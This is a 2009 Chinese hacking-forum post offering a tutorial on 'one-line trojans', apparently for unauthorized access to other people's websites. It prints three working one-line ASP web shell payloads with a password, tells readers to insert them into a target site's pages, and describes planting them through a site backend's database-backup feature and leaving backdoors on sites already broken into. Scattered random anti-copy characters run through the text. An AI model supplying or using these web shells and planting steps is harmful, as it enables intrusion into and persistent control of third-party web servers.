【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用  : n; P; X: f$ @: U& R

by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~
+ v6 F) b5 z) p
" s4 Q. t8 k6 t# z" V
1、咱们先弄懂怎么使用的。& D) j5 ?8 R5 [% @* X. F: C0 D

分为客户端和服务端% B, e2 Q8 r9 W2 w) q4 ^
! z) u0 v: P/ h( E

客户端是连接上去的程序，也可以是网页. }5 @' c7 r% a/ v7 I( M4 @

http://www.3ast.com.cn/tool/yijuhua.html
6 k7 @" F8 H) l- A2 e' w
服务端就是一段代码，代码里有对应的“密码”, S8 V) F: y- d/ D

提供三个服务端: / B# Y! _+ f: z! N
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%>
3. <%execute(request("cnnsc"))%>
( ^1 F* N; p# u9 ^
cnnsc--密码7 y, Q% l$ G  {' I$ a
/ w9 H3 x5 u! i
我们只要把这个代码插入到对方网站的网页中就可以了

我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%> ; W: f  j2 T; t- \* ~# l) r
- V/ ^' N% s: c, q# @
换一个页面，添加过了。访问的时候一切正常，看链接
8 b7 ^; j" w, W4 b
上传之后: O! L1 Z# b1 i
/ E+ z. w: P# u4 _4 w
链接上去了
OK.这个就是链接的主要过程% W8 Y3 y9 L/ \% A2 @$ A& H
& ~1 q- [1 n& Z9 H) e1 t4 N

2、然后懂得哪里会用上、怎么用

(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了

(2)可以给自己入侵的网站留下后门。。。。
- j* d) v0 m: R8 m
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。

好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27